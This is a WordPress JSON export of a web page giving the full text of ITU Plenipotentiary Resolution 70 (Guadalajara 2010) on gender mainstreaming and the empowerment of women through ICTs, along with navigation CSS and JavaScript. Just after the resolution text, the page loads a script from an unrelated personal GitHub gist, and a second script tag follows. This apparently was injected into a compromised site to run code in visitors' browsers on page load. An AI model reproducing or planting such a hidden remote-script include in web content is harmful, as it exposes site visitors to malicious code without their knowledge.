{"id":739,"date":"2013-06-18T23:15:12","date_gmt":"2013-06-19T03:15:12","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=739"},"modified":"2015-06-29T23:42:56","modified_gmt":"2015-06-30T03:42:56","slug":"pp_70","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/plenipotentiary\/pp-2010\/pp_70\/","title":{"rendered":"PP Resolution 70"},"content":{"rendered":"<p><style type=\"text\/css\">\r\nbody {}\r\n\r\n:link { color: #0000ff; text-decoration:none;}\r\n:visited { color: #6666ff; text-decoration:none; }\r\na:active { color: #0000ff; text-decoration:none;}\r\na:hover {color: #0000ff; text-decoration:underline; }\r\n\r\ndiv.basetext {}\r\n\r\ndiv.basetop {}\r\n\r\nh1 {\r\n    text-align:center;\r\n}\r\n\r\nspan.h2 {}\r\n\r\ndiv.year {}\r\n\r\ndiv.form {}\r\n\r\nspan.cpt {}\r\n\r\nspan.cm {}\r\n\r\n.fl {}\r\n\r\nul {}\r\n\r\nli {}\r\n\r\nul li {}\r\n\r\nli.basic {}\r\n\r\nspan.links {}\r\n\r\n\r\n\r\n\r\n.sub { display: none; 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else self.focus(); \r\n      \/\/}\r\n  }\r\n  else if (checkl(mode,c)) { \/\/ j\r\n    if (is_col(lastnode)) {\r\n      unFocus(lastnode);\r\n      collapse(lastnode);\r\n    }\r\n    else {\r\n      temp=unFocus(lastnode);\r\n      collapse(temp);\r\n    }\r\n   \/\/    if (temp==null) lastnode.focus(); \/\/ forces focus to correct div (try mozilla typesearch) (doesn't seem to work -mn\/6.4.2004)\r\n  }\r\n  else return;\r\n  if (temp!=null) set_lastnode(temp);\r\n\r\n  \/\/ alert('pressed ' + String.fromCharCode(c) + '(' + c + ')');\r\n  return true;\r\n}\r\n\r\n\r\nfunction keytest (evt) {\r\n  return keyfunc(evt,1);\r\n};\r\n\r\n\r\nfunction presstest (evt) {\r\n  return keyfunc(evt,0);\r\n};\r\n\r\n\r\n  document.onclick = onClickHandler;\r\n  document.onkeypress = presstest;\r\n  document.onkeyup = keytest;\r\n<\/SCRIPT><\/p>\n<h3><span style=\"\">PP RESOLUTION  70  (Rev. Guadalajara 2010)<\/span><\/h3>\n<h4><span style=\"\">Gender mainstreaming in ITU and promotion of gender equality and the empowerment of women through information and communication technologies<\/span><\/h4>\n<p><span style=\"\">The Plenipotentiary Conference of the International Telecommunication Union (Guadalajara, 2010),<\/span><\/p>\n<ul class=\"subexp\">\n<li class=\"exp\" style=\"\" id=\"FMFreemind_Link_487172205FM\"><span style=\"\">recalling<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)         the initiative taken by the ITU Telecommunication Development Sector (ITU-D) at the World Telecommunication Development Conference (WTDC) in adopting Resolution 7 (Valletta, 1998), transmitted to the Plenipotentiary Conference (Minneapolis, 1998), which resolved that a task force on gender issues be established;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)        the endorsement of that resolution by the Plenipotentiary Conference in its Resolution 70 (Minneapolis, 1998), in which the conference resolved, inter alia, to incorporate a gender perspective in the implementation of all programmes and plans of ITU;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c)         Resolution 44 (Istanbul, 2002) of WTDC, converting the task force on gender issues into a working group on gender issues;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">d)         Resolution 1187 adopted by the ITU Council at its 2001 session, on gender perspective1 in ITU human resources management, policy and practice, in which the Council requested the Secretary-General to allocate appropriate resources, within existing budgetary limits, to establish a gender perspective full-time dedicated staff;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">e)          Resolution 2001\/41 of the United Nations Economic and Social Council (ECOSOC), in which ECOSOC decided to establish, under the regular agenda item &#8220;Coordination, programme and other questions&#8221;, the regular sub-item &#8220;Mainstreaming a gender perspective into all policies and programmes of the United Nations system&#8221; in order to, inter alia, monitor and evaluate achievements made and obstacles encountered by the United Nations system, and to consider further measures to strengthen the implementation and monitoring of gender mainstreaming within the United Nations system;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">f)         Resolution 55 (Florian\u00f3polis, 2004) of the World Telecommunication Standardization Assembly, which encourages gender mainstreaming in the activities of the ITU Telecommunication Standardization Sector;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">g)         Resolution 55 (Doha, 2006) of WTDC, endorsing a specific action plan for the promotion of gender equality towards all-inclusive information societies;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">h)         United Nations General Assembly Resolution 64\/289, on system-wide coherence, adopted on 21 July 2010, establishing the United Nations Entity for Gender Equality and the Empowerment of Women, which will be known as &#8220;UN Women&#8221;, with the mandate to promote gender equality and the empowerment of women,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\" id=\"FMFreemind_Link_236618721FM\"><span style=\"\">recognizing<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)         that society as a whole, particularly in the context of the information and knowledge society, will benefit from equal participation of women and men in policy-making and decision-making and equal access to communication services for both women and men;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)         that information and communication technologies (ICTs) are tools through which gender equality and women&#8217;s empowerment can be advanced, and are integral to the creation of societies in which both women and men can substantively contribute and participate;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c)         that the outcomes of the World Summit on the Information Society (WSIS), namely the Geneva Declaration of Principles, the Geneva Plan of Action, the Tunis Commitment and the Tunis Agenda for the Information Society, outlined the concept of the information society and that continued efforts must be undertaken in this context to bridge the gender digital divide;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">d)        that there are a growing number of women in the ICT field with decision-making power, including in relevant ministries, national regulatory authorities and industry, who could promote the work of ITU so as to encourage girls to choose a career in the field of ICT and foster the use of ICTs for the social and economic empowerment of women and girls,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\" id=\"FMFreemind_Link_1492011692FM\"><span style=\"\">recognizing further<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)        the progress achieved in raising awareness, both within ITU and among Member States, of the importance of integrating a gender perspective in all ITU work programmes and of increasing the number of women professionals in ITU, especially at the senior management level, while at the same time working towards the equal access of women and men to posts in the General Service category;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)        the considerable recognition given to the work of ITU in gender and ICT within the United Nations family of organizations,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\" id=\"FMFreemind_Link_206545576FM\"><span style=\"\">considering<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)        the progress made by ITU, and in particular the Telecommunication Development Bureau (BDT), in the development and implementation of actions and projects that use ICTs for the economic and social empowerment of women and girls, as well as in increasing awareness of the links between gender issues and ICTs within the Union and among Member States and Sector Members;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)         the results achieved by the Working Group on Gender Issues in promoting gender equality,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">noting<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)        that there is a need for ITU to investigate, analyse and further understand the impact of telecommunication\/ICT technologies on women and men;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)         that ITU should take the lead in establishing gender-relevant indicators for the telecommunication\/ICT sector;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c)        that more work needs to be done to ensure that the gender perspective is included in all ITU policies, work programmes, information dissemination activities, publications, study groups, seminars, workshops and conferences;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">d)         that there is a need to foster participation of women and girls in the ICT domain at an early age and to provide input for further policy developments,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">encourages Member States and Sector Members<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to review and revise, as appropriate, their respective policies and practices to ensure that recruitment, employment, training and advancement of women and men alike are undertaken on a fair and equitable basis;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to facilitate the employment of women and men equally in the telecommunication\/ICT field including at senior levels of responsibility in telecommunication\/ICT administrations, government and regulatory bodies and intergovernmental organizations and in the private sector;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3        to review their policies related to the information society to ensure the inclusion of a gender perspective in all activities,<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4        to promote and increase the interest of, and opportunities for, women and girls in ICT careers during elementary, secondary and higher education,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">resolves<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to endorse Resolution 55 (Doha, 2006), on promoting gender equality towards all-inclusive information societies;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to continue the work being done at ITU, and particularly in BDT, to promote gender equality in ICTs by recommending measures at the international, regional and national level on policies and programmes that improve socio-economic conditions for women, particularly in developing countries;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3        to accord high priority to the incorporation of gender policies in the management, staffing and operation of ITU;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4        to incorporate a gender perspective in the implementation of the ITU strategic plan and financial plan for 2012-2015 as well as in the operational plans of the Bureaux and the General Secretariat,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">instructs the Council<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to continue and expand on the initiatives carried out over the past four years and to accelerate the gender mainstreaming process in ITU as a whole, within existing budgetary resources, so as to ensure capacity building and the promotion of women to senior-level positions;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to consider adopting the theme &#8220;Women and girls in ICT&#8221; to mark World Telecommunication and Information Society Day in 2012,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">instructs the Secretary-General<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to continue to ensure that the gender perspective is incorporated in the work programmes, management approaches and human resource development activities of ITU, and to submit an annual written report to the Council on progress made on gender mainstreaming in ITU, including statistics on gender by grade of ITU staff and participation of women and men in ITU conferences and meetings;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to ensure the inclusion of a gender perspective in all ITU contributions to the implementation of WSIS action lines;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3        to give particular attention to gender balance for posts at the professional and particularly the higher levels in ITU and, when choosing between candidates who have equal qualifications for a post, taking into account geographical distribution (No. 154 of the ITU Constitution) and the balance between female and male staff, to give appropriate priority to gender balance;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4        to report to the next plenipotentiary conference on the results and progress made on the inclusion of a gender perspective in the work of ITU, and on the implementation of this resolution;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">5        to make efforts to mobilize voluntary contributions from Member States, Sector Members and others for this purpose;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">6        to encourage administrations to give equal opportunities to male and female candidatures for elected official posts and for membership of the Radio Regulations Board;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">7        to encourage the launch of the &#8220;Global Network of women ICT decision-makers&#8221;;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">8        to announce a year-long call to action, with a focus on the theme &#8220;Women and girls in ICT&#8221;,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">instructs the Director of the Telecommunication Development Bureau<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to bring to the attention of other United Nations agencies the need to promote and increase the interest of, and opportunities for, women and girls in ICT careers during elementary, secondary and higher education, including by establishing an international &#8220;Girls in ICT&#8221; day, to be held every year on the fourth Thursday of April, when ICT companies, other companies with ICT departments, ICT training institutions, universities, research centres and all ICT-related institutions are invited to organize an open day for girls;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to continue the work of BDT in promoting the use of ICTs for the economic and social empowerment of women and girls,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">invites Member States and Sector Members<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1        to make voluntary contributions to ITU to facilitate the implementation of this resolution to the fullest extent possible;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2        to establish and observe annually the international &#8220;Girls in ICT&#8221; day, to be held on the fourth Thursday of April, when ICT companies, other companies with ICT departments, ICT training institutions, universities, research centres and all ICT-related institutions are invited to organize an open day for girls;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3        to actively support and participate in the work of BDT in promoting the use of ICTs for the economic and social empowerment of women and girls;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4        to actively support and participate in the work of the &#8220;Global Network of women ICT decision-makers&#8221; aimed at promoting the work of ITU in using ICTs for the social and economic empowerment of women and girls, including by building partnerships and building synergies between existing networks at national, regional and international levels, as well as fostering successful strategies to improve gender balance at senior-level positions in telecommunication\/ICT administrations, government, regulatory bodies and intergovernmental organizations, including ITU, and in the private sector;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">5        to highlight the gender perspective in the Questions under study in the ITU-D study groups and the five programmes of the Hyderabad Action Plan.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' 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Guadalajara 2010) Gender mainstreaming in ITU and promotion of gender equality and the empowerment of women through information and communication technologies The Plenipotentiary Conference of the International Telecommunication Union (Guadalajara, 2010), recalling a) the initiative taken by the ITU Telecommunication Development Sector (ITU-D) at the World Telecommunication Development Conference (WTDC) in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1427,"menu_order":70,"comment_status":"open","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-739","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/739","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/comments?post=739"}],"version-history":[{"count":0,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/739\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1427"}],"wp:attachment":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/media?parent=739"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}